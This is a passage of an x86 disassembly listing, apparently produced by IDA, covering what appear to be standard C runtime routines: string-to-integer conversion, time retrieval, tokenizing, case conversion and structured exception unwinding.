		jz	short loc_4175C1
		mov	bl, [edi]
		inc	edi
		jmp	short loc_417594
; ---------------------------------------------------------------------------


loc_4175C1:				; CODE XREF: sub_41756A+50j
		cmp	bl, 2Dh
		jnz	short loc_4175CC
		or	[ebp+arg_C], 2
		jmp	short loc_4175D1
; ---------------------------------------------------------------------------


loc_4175CC:				; CODE XREF: sub_41756A+5Aj
		cmp	bl, 2Bh
		jnz	short loc_4175D4


loc_4175D1:				; CODE XREF: sub_41756A+60j
		mov	bl, [edi]
		inc	edi


loc_4175D4:				; CODE XREF: sub_41756A+65j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_417719
		cmp	eax, 1
		jz	loc_417719
		cmp	eax, 24h
		jg	loc_417719
		test	eax, eax
		push	10h
		pop	ecx
		jnz	short loc_41761C
		cmp	bl, 30h
		jz	short loc_417606
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_417634
; ---------------------------------------------------------------------------


loc_417606:				; CODE XREF: sub_41756A+91j
		mov	al, [edi]
		cmp	al, 78h
		jz	short loc_417619
		cmp	al, 58h
		jz	short loc_417619
		mov	[ebp+arg_8], 8
		jmp	short loc_417634
; ---------------------------------------------------------------------------


loc_417619:				; CODE XREF: sub_41756A+A0j
					; sub_41756A+A4j
		mov	[ebp+arg_8], ecx


loc_41761C:				; CODE XREF: sub_41756A+8Cj
		cmp	[ebp+arg_8], ecx
		jnz	short loc_417634
		cmp	bl, 30h
		jnz	short loc_417634
		mov	al, [edi]
		cmp	al, 78h
		jz	short loc_417630
		cmp	al, 58h
		jnz	short loc_417634


loc_417630:				; CODE XREF: sub_41756A+C0j
		inc	edi
		mov	bl, [edi]
		inc	edi


loc_417634:				; CODE XREF: sub_41756A+9Aj
					; sub_41756A+ADj ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]


loc_41763C:				; CODE XREF: sub_41756A+134j
		mov	esi, off_432A40
		movzx	ecx, bl
		mov	cx, [esi+ecx*2]
		test	cl, 4
		jz	short loc_417656
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_417675
; ---------------------------------------------------------------------------


loc_417656:				; CODE XREF: sub_41756A+E2j
		test	cx, 103h
		jz	short loc_4176A0
		cmp	bl, 61h
		jl	short loc_41766F
		cmp	bl, 7Ah
		jg	short loc_41766F
		movsx	ecx, bl
		sub	ecx, 20h
		jmp	short loc_417672
; ---------------------------------------------------------------------------


loc_41766F:				; CODE XREF: sub_41756A+F6j
					; sub_41756A+FBj
		movsx	ecx, bl


loc_417672:				; CODE XREF: sub_41756A+103j
		add	ecx, 0FFFFFFC9h


loc_417675:				; CODE XREF: sub_41756A+EAj
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_4176A0
		or	[ebp+arg_C], 8
		cmp	[ebp+var_4], eax
		jb	short loc_41768F
		jnz	short loc_417689
		cmp	ecx, edx
		jbe	short loc_41768F


loc_417689:				; CODE XREF: sub_41756A+119j
		or	[ebp+arg_C], 4
		jmp	short loc_41769B
; ---------------------------------------------------------------------------


loc_41768F:				; CODE XREF: sub_41756A+117j
					; sub_41756A+11Dj
		mov	esi, [ebp+var_4]
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_4], esi


loc_41769B:				; CODE XREF: sub_41756A+123j
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41763C
; ---------------------------------------------------------------------------


loc_4176A0:				; CODE XREF: sub_41756A+F1j
					; sub_41756A+10Ej
		mov	eax, [ebp+arg_C]
		dec	edi
		test	al, 8
		jnz	short loc_4176B7
		cmp	[ebp+arg_4], 0
		jz	short loc_4176B1
		mov	edi, [ebp+arg_0]


loc_4176B1:				; CODE XREF: sub_41756A+142j
		and	[ebp+var_4], 0
		jmp	short loc_417702
; ---------------------------------------------------------------------------


loc_4176B7:				; CODE XREF: sub_41756A+13Cj
		test	al, 4
		mov	esi, 7FFFFFFFh
		jnz	short loc_4176DB
		test	al, 1
		jnz	short loc_417702
		and	eax, 2
		jz	short loc_4176D2
		cmp	[ebp+var_4], 80000000h
		ja	short loc_4176DB


loc_4176D2:				; CODE XREF: sub_41756A+15Dj
		test	eax, eax
		jnz	short loc_417702
		cmp	[ebp+var_4], esi
		jbe	short loc_417702


loc_4176DB:				; CODE XREF: sub_41756A+154j
					; sub_41756A+166j
		call	sub_41B935
		test	byte ptr [ebp+arg_C], 1
		mov	dword ptr [eax], 22h
		jz	short loc_4176F2
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_417702
; ---------------------------------------------------------------------------


loc_4176F2:				; CODE XREF: sub_41756A+180j
		mov	al, byte ptr [ebp+arg_C]
		and	al, 2
		neg	al
		sbb	eax, eax
		neg	eax
		add	eax, esi
		mov	[ebp+var_4], eax


loc_417702:				; CODE XREF: sub_41756A+14Bj
					; sub_41756A+158j ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41770B
		mov	[eax], edi


loc_41770B:				; CODE XREF: sub_41756A+19Dj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_417714
		neg	[ebp+var_4]


loc_417714:				; CODE XREF: sub_41756A+1A5j
		mov	eax, [ebp+var_4]
		jmp	short loc_417724
; ---------------------------------------------------------------------------


loc_417719:				; CODE XREF: sub_41756A+6Fj
					; sub_41756A+78j ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_417722
		mov	[eax], ecx


loc_417722:				; CODE XREF: sub_41756A+1B4j
		xor	eax, eax


loc_417724:				; CODE XREF: sub_41756A+1ADj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41756A	endp


; =============== S U B	R O U T	I N E =======================================



sub_417729	proc near		; CODE XREF: sub_404260+440p
					; sub_409806+2AFEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41756A
		add	esp, 10h
		retn
sub_417729	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417740	proc near		; CODE XREF: sub_404260+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_422160	; GetSystemTimeAsFileTime
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		push	0
		add	eax, 2AC18000h
		push	989680h
		adc	ecx, 0FE624E21h
		push	ecx
		push	eax
		call	sub_418480
		mov	ecx, [ebp+arg_0]
		test	ecx, ecx
		jz	short locret_417777
		mov	[ecx], eax

locret_417777:				; CODE XREF: sub_417740+33j
		leave
		retn
sub_417740	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417779	proc near		; CODE XREF: sub_404807+2Ap
					; sub_40528F+FDp ...

var_24		= byte ptr -24h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		mov	eax, dword_432A48
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	[ebp+var_4], eax
		call	sub_41915F
		push	8
		pop	ecx
		mov	[ebp+arg_4], eax
		xor	eax, eax
		lea	edi, [ebp+var_24]
		push	7
		rep stosd
		pop	edi


loc_4177A5:				; CODE XREF: sub_417779+45j
		mov	dl, [esi]
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		mov	bl, 1
		shl	bl, cl
		shr	eax, 3
		lea	eax, [ebp+eax+var_24]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_4177A5
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_4177D4
		mov	eax, [ebp+arg_4]
		mov	edx, [eax+18h]
		jmp	short loc_4177D4
; ---------------------------------------------------------------------------


loc_4177CF:				; CODE XREF: sub_417779+72j
		test	al, al
		jz	short loc_4177ED
		inc	edx


loc_4177D4:				; CODE XREF: sub_417779+4Cj
					; sub_417779+54j
		mov	al, [edx]
		movzx	esi, al
		xor	ebx, ebx
		mov	ecx, esi
		and	ecx, edi
		inc	ebx
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_24]
		test	bl, cl
		jnz	short loc_4177CF


loc_4177ED:				; CODE XREF: sub_417779+58j
		mov	ebx, edx
		jmp	short loc_417809
; ---------------------------------------------------------------------------


loc_4177F1:				; CODE XREF: sub_417779+93j
		movzx	esi, byte ptr [edx]
		xor	eax, eax
		mov	ecx, esi
		and	ecx, edi
		inc	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_24]
		test	al, cl
		jnz	short loc_417810
		inc	edx


loc_417809:				; CODE XREF: sub_417779+76j
		cmp	byte ptr [edx],	0
		jnz	short loc_4177F1
		jmp	short loc_417814
; ---------------------------------------------------------------------------


loc_417810:				; CODE XREF: sub_417779+8Dj
		and	byte ptr [edx],	0
		inc	edx


loc_417814:				; CODE XREF: sub_417779+95j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_4]
		mov	[eax+18h], edx
		mov	eax, ebx
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		xor	ecx, [ebp+4]
		pop	edi
		and	eax, ebx
		pop	esi
		pop	ebx
		call	sub_41C526
		leave
		retn
sub_417779	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417834	proc near		; CODE XREF: sub_405DD1+AFp
					; sub_409806+573Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	14h
		push	offset stru_42BE48
		call	__SEH_prolog
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_1C], esi
		push	esi
		call	sub_41B092
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_41C534
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	esi
		call	sub_4189AC
		mov	[ebp+var_24], eax
		push	esi
		push	[ebp+var_20]
		call	sub_41C5BC
		add	esp, 18h
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_417888
		mov	eax, [ebp+var_24]
		call	__SEH_epilog
		retn
sub_417834	endp


; =============== S U B	R O U T	I N E =======================================



sub_417888	proc near		; CODE XREF: sub_417834+46p
					; DATA XREF: .text:stru_42BE48o
		push	dword ptr [ebp-1Ch]
		call	sub_41B0E4
		pop	ecx
		retn
sub_417888	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417892	proc near		; CODE XREF: sub_41795A+1Ap

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	dword ptr [esi+14h], 0
		push	edi
		jz	loc_417946
		cmp	dword ptr [esi+24h], 0
		jz	short loc_4178B8
		cmp	ebx, 7Fh
		jbe	loc_417946


loc_4178B8:				; CODE XREF: sub_417892+1Bj
		xor	edi, edi
		inc	edi
		cmp	ebx, 100h
		jnb	short loc_4178E2
		cmp	[esi+28h], edi
		jle	short loc_4178D5
		push	edi
		push	ebx
		push	esi
		call	sub_419D8B
		add	esp, 0Ch
		jmp	short loc_4178DE
; ---------------------------------------------------------------------------


loc_4178D5:				; CODE XREF: sub_417892+34j
		mov	eax, [esi+48h]
		movzx	eax, byte ptr [eax+ebx*2]
		and	eax, edi


loc_4178DE:				; CODE XREF: sub_417892+41j
		test	eax, eax
		jz	short loc_417953


loc_4178E2:				; CODE XREF: sub_417892+2Fj
		mov	edx, [esi+48h]
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_417903
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41790C
; ---------------------------------------------------------------------------


loc_417903:				; CODE XREF: sub_417892+60j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, edi


loc_41790C:				; CODE XREF: sub_417892+6Fj
		push	edi
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	100h
		push	dword ptr [esi+14h]
		call	sub_41C139
		add	esp, 20h
		test	eax, eax
		jz	short loc_417953
		cmp	eax, edi
		jnz	short loc_417939
		movzx	eax, [ebp+var_4]
		jmp	short loc_417955
; ---------------------------------------------------------------------------


loc_417939:				; CODE XREF: sub_417892+9Fj
		movzx	ecx, [ebp+var_3]
		xor	eax, eax
		mov	ah, [ebp+var_4]
		or	eax, ecx
		jmp	short loc_417955
; ---------------------------------------------------------------------------


loc_417946:				; CODE XREF: sub_417892+11j
					; sub_417892+20j
		cmp	ebx, 41h
		jl	short loc_417953
		cmp	ebx, 5Ah
		lea	eax, [ebx+20h]
		jle	short loc_417955


loc_417953:				; CODE XREF: sub_417892+4Ej
					; sub_417892+9Bj ...
		mov	eax, ebx


loc_417955:				; CODE XREF: sub_417892+A5j
					; sub_417892+B2j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417892	endp


; =============== S U B	R O U T	I N E =======================================



sub_41795A	proc near		; CODE XREF: sub_407309+6p
					; sub_4076F4+56p ...

arg_0		= dword	ptr  4

		call	sub_41915F
		mov	eax, [eax+64h]
		cmp	eax, off_4323DC
		jz	short loc_41796F
		call	sub_419F8E


loc_41796F:				; CODE XREF: sub_41795A+Ej
		push	[esp+arg_0]
		push	eax
		call	sub_417892
		pop	ecx
		pop	ecx
		retn
sub_41795A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41797C	proc near		; CODE XREF: sub_407B24+27p
					; sub_407B65+4Dp

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_416D83
		pop	ecx
		pop	ecx
		retn
sub_41797C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41798A	proc near		; CODE XREF: sub_41CAA6+60p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41798A	endp

; ---------------------------------------------------------------------------
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_4179BA	proc near		; CODE XREF: sub_41C721+25p
					; sub_41C92A+149p ...

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_4179BA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4179C1	proc near		; CODE XREF: sub_417A6D+5Ap
					; sub_41CAA6:loc_41CAC9p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, large fs:0
		mov	[ebp+var_4], esi
		mov	[ebp+var_8], offset loc_4179EA
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	sub_4218C6	; RtlUnwind


loc_4179EA:				; DATA XREF: sub_4179C1+12o
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+4]
		and	eax, 0FFFFFFFDh
		mov	ecx, [ebp+arg_4]
		mov	[ecx+4], eax
		mov	edi, large fs:0
		mov	ebx, [ebp+var_4]
		mov	[ebx], edi
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_4179C1	endp

; ---------------------------------------------------------------------------


loc_417A13:				; CODE XREF: .text:00421EC2j
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_41CDAF
		add	esp, 20h
		mov	[ebp-4], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_417A49:				; DATA XREF: sub_417BED+17o
		cld
		mov	eax, [esp+8]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	dword ptr [esp+20h]
		push	dword ptr [eax+0Ch]
		push	dword ptr [esp+20h]
		call	sub_41CDAF
		add	esp, 20h
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A6D	proc near		; DATA XREF: sub_417C3E+Bo

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_417A8E
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		xor	eax, eax
		inc	eax
		jmp	short loc_417ADB
; ---------------------------------------------------------------------------


loc_417A8E:				; CODE XREF: sub_417A6D+10j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_41CDAF
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_417ACC
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_4179C1


loc_417ACC:				; CODE XREF: sub_417A6D+52j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax


loc_417ADB:				; CODE XREF: sub_417A6D+1Fj
		pop	ebx
		pop	ebp
		retn
sub_417A6D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417ADE	proc near		; CODE XREF: sub_41CB0D+52p
					; sub_41CBCD+E2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi
		jl	short loc_417B34


loc_417AFC:				; CODE XREF: sub_417ADE+51j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_417B06
		call	sub_41CE86


loc_417B06:				; CODE XREF: sub_417ADE+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		lea	eax, [ebx+eax*4]
		cmp	[eax+4], ecx
		jge	short loc_417B1A
		cmp	ecx, [eax+8]
		jle	short loc_417B1F


loc_417B1A:				; CODE XREF: sub_417ADE+35j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_417B2B


loc_417B1F:				; CODE XREF: sub_417ADE+3Aj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_417B2B:				; CODE XREF: sub_417ADE+3Fj
		cmp	[ebp+arg_4], 0
		jge	short loc_417AFC
		mov	eax, [ebp+var_4]


loc_417B34:				; CODE XREF: sub_417ADE+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_417B48
		cmp	esi, eax
		jbe	short loc_417B4D


loc_417B48:				; CODE XREF: sub_417ADE+64j
		call	sub_41CE86


loc_417B4D:				; CODE XREF: sub_417ADE+68j
		pop	edi
		lea	eax, [esi+esi*4]
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_417ADE	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B58	proc near		; CODE XREF: sub_41C783+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		call	sub_41915F
		mov	eax, [eax+84h]
		mov	[esi+4], eax
		call	sub_41915F
		mov	[eax+84h], esi
		mov	eax, esi
		pop	esi
		retn
sub_417B58	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B80	proc near		; CODE XREF: sub_41C8C6+4Bp

arg_0		= dword	ptr  4

		call	sub_41915F
		mov	eax, [eax+84h]
		jmp	short loc_417B98
; ---------------------------------------------------------------------------


loc_417B8D:				; CODE XREF: sub_417B80+1Aj
		mov	ecx, [eax]
		cmp	ecx, [esp+arg_0]
		jz	short loc_417B9E
		mov	eax, [eax+4]


loc_417B98:				; CODE XREF: sub_417B80+Bj
		test	eax, eax
		jnz	short loc_417B8D
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_417B9E:				; CODE XREF: sub_417B80+13j
		xor	eax, eax
		retn
sub_417B80	endp


; =============== S U B	R O U T	I N E =======================================



sub_417BA1	proc near		; CODE XREF: sub_41C8C6+9p

arg_0		= dword	ptr  4

		push	esi
		call	sub_41915F
		mov	esi, [esp+4+arg_0]
		cmp	esi, [eax+84h]
		jnz	short loc_417BC3
		call	sub_41915F
		mov	ecx, [esi+4]
		mov	[eax+84h], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_417BC3:				; CODE XREF: sub_417BA1+10j
		call	sub_41915F
		mov	eax, [eax+84h]
		jmp	short loc_417BD9
; ---------------------------------------------------------------------------


loc_417BD0:				; CODE XREF: sub_417BA1+3Cj
		mov	ecx, [eax+4]
		cmp	esi, ecx
		jz	short loc_417BE5
		mov	eax, ecx


loc_417BD9:				; CODE XREF: sub_417BA1+2Dj
		cmp	dword ptr [eax+4], 0
		jnz	short loc_417BD0
		pop	esi
		jmp	sub_41CE86
; ---------------------------------------------------------------------------


loc_417BE5:				; CODE XREF: sub_417BA1+34j
		mov	ecx, [esi+4]
		mov	[eax+4], ecx
		pop	esi
		retn
sub_417BA1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417BED	proc near		; CODE XREF: sub_41C783+71p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		inc	eax
		mov	[ebp+var_10], offset loc_417A49
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_41CEC0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_417BED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C3E	proc near		; CODE XREF: sub_41CB0D+33p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_417A6D
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_417CC1
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	sub_41915F
		call	dword ptr [eax+74h]
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_417CC1:				; DATA XREF: sub_417C3E+3Ao
		cmp	[ebp+var_4], 0
		jz	short loc_417CDE
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_417CE7
; ---------------------------------------------------------------------------


loc_417CDE:				; CODE XREF: sub_417C3E+87j
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_417CE7:				; CODE XREF: sub_417C3E+9Ej
		mov	eax, [ebp+var_34]
		pop	ebx
		leave
		retn
sub_417C3E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417CF0	proc near		; CODE XREF: sub_41F338+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset loc_417D08
		push	[ebp+arg_0]
		call	sub_4218C6	; RtlUnwind


loc_417D08:				; DATA XREF: sub_417CF0+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_417CF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_417D10	proc near		; DATA XREF: sub_417D32+Ao
					; sub_417D9A+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_417D31
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_417D31:				; CODE XREF: sub_417D10+10j
		retn
sub_417D10	endp


; =============== S U B	R O U T	I N E =======================================



sub_417D32	proc near		; CODE XREF: sub_41F338+67p
					; sub_41F338+A7p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_417D10
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_417D4F:				; CODE XREF: sub_417D32:loc_417D8Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_417D8C
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_417D8C
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_417D8A
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_417DC6
		call	dword ptr [ebx+esi*4+8]


loc_417D8A:				; CODE XREF: sub_417D32+44j
		jmp	short loc_417D4F
; ---------------------------------------------------------------------------


loc_417D8C:				; CODE XREF: sub_417D32+2Aj
					; sub_417D32+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_417D32	endp


; =============== S U B	R O U T	I N E =======================================



sub_417D9A	proc near		; CODE XREF: sub_41C8C6+55p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_417D10
		jnz	short locret_417DBC
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
